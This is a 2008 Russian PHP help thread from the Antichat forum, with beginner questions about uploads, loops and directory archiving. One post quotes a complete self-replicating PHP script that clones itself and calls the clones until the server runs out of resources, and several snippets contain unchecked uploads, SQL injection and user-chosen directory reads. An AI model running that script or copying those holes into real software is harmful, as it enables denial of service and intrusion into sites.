Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

10.12.2008, 20:01
|
|
Новичок
Регистрация: 15.09.2008
Сообщений: 19
Провел на форуме: 102324
Репутация:
1
|
|
тогда это не выподающее меню а выподающий список.
В чём тогда проблема? - просто делаешь форму
PHP код:
<form method="POST" action="">...
А потом просто разбираешь пост запрос и выбираешь выбранную картинку
PHP код:
$id = $_POST['data'];
if(is_int($id)===FALSE )exit("HAKING");
$result = mysql_query("SELECT * FROM data WHERE id='.$id",$db);
...
printf ("<img src='%s' />",$myrow["url"]);
|
|
|

10.12.2008, 20:47
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме: 458686
Репутация:
-25
|
|
Помоге добить скрипт???
Ирархия папок:
_______________________________________
fotos
2.jpg (картинка загруженая пользователем)
admin
data
1.jpg (картинки загруженные админом)
index.php
db.php
load.php
index.php
db.php
load.php
MySQL
________________________________________
имя базы img
таблица 1: foto (Поля: id, name, url) для пользвателя
таблица 2: data (Поля: id, name, url) для админа
________________________________________
коды:
index.php
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Загрузка</title>
</head>
<body>
<form enctype="multipart/form-data" method="POST" action="load.php">
<b>Фото:</b><br />
<input type="file" name="myfile" style="width:304px; height:18px" id="myfile" />
<br /><br />
<input style="height: 35px;" type="submit" value="Добавить фото" name="submit">
</form>
</body>
</html>
load.php
PHP код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Untitled Document</title>
</head>
<body>
<?php
// Подключаемься к базе данных
include ("db.php");
//================Настройки============= //
$maxwidth = "300px"; // максимальная ширина картинок на превью
$fotos_dir = "fotos/"; // Директория для фотографий товаров
$foto_name = $fotos_dir.time()."_".basename($_FILES['myfile']['name']); // Полное имя файла вместе с путем
$foto_light_name = time()."_".basename($_FILES['myfile']['name']); // Имя файла исключая путь
$foto_tag = "<img src=\"$foto_name\" border=\"0\">"; // Готовый тэг для вставки картинки на страницу
$foto_tag_preview = "<img src=\"$foto_name\" border=\"0\" width=\"$maxwidth\">"; // Тот же тэг, но для превью
// Текст ошибок
$error_by_mysql = "<span style=\"font: bold 15px tahoma; color: red;\">Ошибка при добавлении данных в базу</span>";
$error_by_file = "<span style=\"font: bold 15px tahoma; color: red;\">Невозможно загрузить файл в директорию. Возможно её не существует</span>";
// Начало
if(isset($_FILES["myfile"]))
{
$myfile = $_FILES["myfile"]["tmp_name"];
$myfile_name = $_FILES["myfile"]["name"];
$myfile_size = $_FILES["myfile"]["size"];
$myfile_type = $_FILES["myfile"]["type"];
$error_flag = $_FILES["myfile"]["error"];
// Если ошибок не было
if($error_flag == 0)
{
$DOCUMENT_ROOT = $_SERVER['DOCMENT_ROOT'];
$upfile = getcwd()."\\fotos\\" . time()."_".basename($_FILES["myfile"]["name"]);
if ($_FILES['myfile']['tmp_name'])
{
//Если не удалось загрузить файл
if (!move_uploaded_file($_FILES['myfile']['tmp_name'], $upfile))
{
echo "$error_by_file";
exit;
}
}
else
{
echo 'Проблема: возможна атака через загрузку файла. ';
echo $_FILES['myfile']['name'];
exit;
}
// После удачной обработки файла, выводим сообщение
echo "<h3>Результат добавления товара:</h3> <br />";
echo "<b>Файл успешно скопирован в директорию:</b> ".$fotos_dir." <br /><b>Имя файла:</b> ".$foto_light_name."<br />";
echo "<br /><small>Превью загруженной картинки:</small> <br />$foto_tag_preview<br /><br />";
// Заносим путь картинки в базу данных
$q = "INSERT INTO foto (url,name) VALUES ('$foto_name','$foto_light_name')";
$query = mysql_query($q);
// Данные успешно внесены в базу данных, выводим сообщение
if ($query == 'true') {
echo "<br /><b>Данные успешно внесены в базу</b>";
}
// В противном случае, выводим ошибку при добавлении в базу данных
else {
echo "$error_by_mysql";
}
}
elseif ($myfile_size == 0) {
echo "Пустая форма!";
}
}
?><br>
<form id="form1" name="form1" method="post" action="end.php">
<? //меню выбора картинки
$result = mysql_query("SELECT * FROM data",$db);
if (!$result)
{
echo "<p>Запрос на выборку данных из базы не прошел. Напишите об этом администратору admin@ruseller.com. <br> <strong>Код ошибки:</strong></p>";
exit(mysql_error());
}
if (mysql_num_rows($result) > 0)
{
$myrow = mysql_fetch_array($result);
do
{
printf ("<img src='admin/%s'><input name='id' type='radio' value='%s'><label>%s</label><br>",$myrow["url"],$myrow["id"],$myrow["name"]);
}
while ($myrow = mysql_fetch_array($result));
}
else
{
echo "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
exit();
}
?>
<label>
<input type="submit" name="prev" id="prev" value="Submit" />
</label>
</form>
</br></br>
</body>
</html>
___________________________________________
Помогите дописать голова чето устала нада создать php файл end.php и чтоб при загрузке фото, и выборе картинки из базы это то что в load.php
эти две картинки обьеденялись в одну в файле оброботчика end.php????
|
|
|

11.12.2008, 00:15
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме: 1325167
Репутация:
100
|
|
Есть выражение:
if($_POST['save_dir'] and $_POST['save']) {
$save_dir = $_POST['save_dir'];
$files = scandir($save_dir);
}
Как можно дописать, чтобы просканировав каталог с различными файлами типа: jpg, php и html подобными, можно было скачать архив в расширении gz?
Просмотрев исходники подобных программ, думаю, что нужно делать цикл, типа
Прошелся по одномй директории, admin, к примеру - добавил в архив test.gz,
Прошелся по директории templates - еще раз добавил.
Здесь должен быть цикл while, но, увы я их вообще не понимаю
Решение найдено!
http://forum.antichat.ru/thread53918.html
Спасибо DIAgen
Последний раз редактировалось Ershik; 11.12.2008 в 00:23..
|
|
|

11.12.2008, 01:06
|
|
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
Провел на форуме: 298300
Репутация:
128
|
|
Сообщение от ss88
Вот всегда так, лекарство от болезней изобретают тысячелетиями, а нож делается в считанные минуты....
PHP код:
<?php
/************************************************
* Привет от ss88 *
************************************************
*/
//тьма пробелов
$zhopaString="
";
//понта ради, мы никогда этого не увидим
echo "--------------\n| СУШИ ВЕСЛА |\n--------------\n";
//мы против абортов
ignore_user_abort();
//забыть о преградах и запретах
set_time_limit(0);
//хэшируем пробелы - не самая простая задача с точки зрения CPU
$zhopaString.=md5($zhopaString);
//имя нового клона
$randomFileName="bug".rand(0,99999).".php";
//открываем себя
$selfFD=fopen($_SERVER['SCRIPT_FILENAME'],"r");
//собственные внутренности
$selfContent=fread($selfFD,5000);
//создаем новый файл
$newFile=fopen($randomFileName,"w+");
//клонируем себя
fwrite($newFile,$selfContent);
//клон готов
fclose($newFile);
//формируем путь и вызываем клона на сцену
$arPath=explode("/",$_SERVER['SCRIPT_NAME']);
$arPath[count($arPath)-1]=$randomFileName;
$getString="http://".$_SERVER['SERVER_NAME'].implode("/",$arPath);
$zhopaString.=md5(file_get_contents($getString));
//подключаем еще разок себя, но до этого врядли дойдет
require ($_SERVER['SCRIPT_NAME']);
?>
Спасибо, Ch3ck, а то я забыл про аборты от юзеров
Испытал эту гадость на одном из своих сайтов (додумался, блин)...
Вобщем, было определено, что максимально допустимое количество одновременно открытых дескрипторов файлов в Юниксах раз 5-7 больше, нежели у Винды, тем не менее, исчерпались они за секунду другую, так-как здесь сервер уже борется локально сам с собой... Очень быстро исчерпываются порты и ОЗУ, нагрузка на процессоры идет волнообразная... Теоретически, вечный двигатель, при условии наличия идеального сервера с бесконечными ресурсами ))) Но цепочка все же вернулась к родителю, когда кол-во портов было исчерпано, из этого можно сделать вывод, что бесконечный цикл самоподключения сделать стоит...
После этого эксперимента, мой хостинг-аккаунт в течение 3-х минут был отключен админами... Зато они почистили директорию, в которой расплодилось семейство этих глюков, оставили родителя, но перенесли в каталог "a po licu?" )))) А в комменты после "привет от ss88" дописали "и тебе привет, по лицу бы тебе, но скрипт интересный. admins" )))
Вот такая забавная история. К чему это все, к тому, что, обращаюсь к новичкам, ресурсы сервера не безграничны. Зато порой видишь скрипты, которые грузят может и не так сильно но вполне прилично, не выполняя особо ничего полезного. Так что, если когда-то экономили биты и байты, то это не означает, что экономить их сейчас не стоит. ВотЪ
Спасибо за внимание!
Последний раз редактировалось ss88; 11.12.2008 в 03:18..
|
|
|

11.12.2008, 15:36
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме: 1325167
Репутация:
100
|
|
Объясните мне логику действии, то есть где я не прав, и почему мне не удается прикрутить форму выбора директории к файлу
http://forum.antichat.ru/thread53918.html
Я добавил:
PHP код:
<form action="" method="post">
Скопировать файлы <input type="text" name="dir"> <input type="submit" name="ok4"></form>
<?php
if($_POST['dir'] and $_POST['ok4']) {
$dir = $_POST['dir'];
}
?>
Затем взял функцию сжатия и указал такой же тип переменной $dir как выше:
PHP код:
function _readdir($d,&$files) {
global $opendir;
[B]$dir[/B] = opendir ($d);
while ( $file = readdir ($dir))
{
if (( $file != ".") && ($file != ".."))
{
$opendir=$d.'/'.$file;
if(filetype($opendir)=="dir")
{
_readdir($opendir,&$files);
}
else
{
$files[] = $opendir;
}
}
}
closedir ($dir);
}
Далее нужно указать путь директории.
Указал, но мне до сих пор предлагаю сохранить пуской каталог, не предлагая альтернативы:
PHP код:
_readdir == $files; // ТУт указываем полный путь до папки которую нужно жать....
|
|
|

11.12.2008, 16:38
|
|
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме: 1754802
Репутация:
380
|
|
Сообщение от KillDead
тогда это не выподающее меню а выподающий список.
В чём тогда проблема? - просто делаешь форму
PHP код:
<form method="POST" action="">...
А потом просто разбираешь пост запрос и выбираешь выбранную картинку
PHP код:
$id = $_POST['data'];
if(is_int($id)===FALSE )exit("HAKING");
Бред, это условие всегда будет возврашать false, по тому как form input, which is always a string
лутчше использовать
if(is_numeric ($id)===FALSE )exit("HAKING");
|
|
|

12.12.2008, 14:19
|
|
Участник форума
Регистрация: 02.01.2008
Сообщений: 116
Провел на форуме: 1013405
Репутация:
58
|
|
почему не работает цикл? foreach
PHP код:
<?php
$arr=array("1","2","3");
foreach($arr=$value)
{
echo "Next number: $value <BR>";
}
?>
v
|
|
|

12.12.2008, 14:21
|
|
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме: 6722038
Репутация:
1385
|
|
foreach($arr as $value)
php.net/foreach - слабо зайти и посмотореть?
|
|
|

12.12.2008, 14:23
|
|
Участник форума
Регистрация: 02.01.2008
Сообщений: 116
Провел на форуме: 1013405
Репутация:
58
|
|
епт, незаметил as
спасибо
|
|
|

12.12.2008, 21:36
|
|
Участник форума
Регистрация: 30.08.2008
Сообщений: 128
Провел на форуме: 668329
Репутация:
106
|
|
выводится новость из mysql.
Как вывести часть новости и ссылку подробнее, при нажатии на которую открывается вся новость?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|